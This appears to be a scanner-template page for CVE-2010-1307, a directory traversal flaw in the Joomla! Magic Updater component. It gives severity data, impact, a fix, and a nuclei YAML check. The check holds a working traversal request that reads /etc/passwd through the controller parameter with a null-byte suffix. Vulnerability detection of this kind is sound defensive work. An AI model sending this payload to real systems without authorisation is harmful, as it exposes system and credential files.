Joomla! Component Magic Updater - Local File Inclusion

mediumseverity

5CVSS score

10.2%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Magic Updater (com_joomlaupdater) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_joomlaupdater&controller=../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1307 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1307

info:
  name: Joomla! Component Magic Updater - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Magic Updater (com_joomlaupdater) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12070
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1307
    - http://www.vupen.com/english/advisories/2010/0806
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57531
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1307
    cwe-id: CWE-22
    epss-score: 0.10158
    epss-percentile: 0.95693
    cpe: cpe:2.3:a:software.realtyna:com_joomlaupdater:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: software.realtyna
    product: com_joomlaupdater
  tags: cve,cve2010,edb,joomla,lfi,software.realtyna,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_joomlaupdater&controller=../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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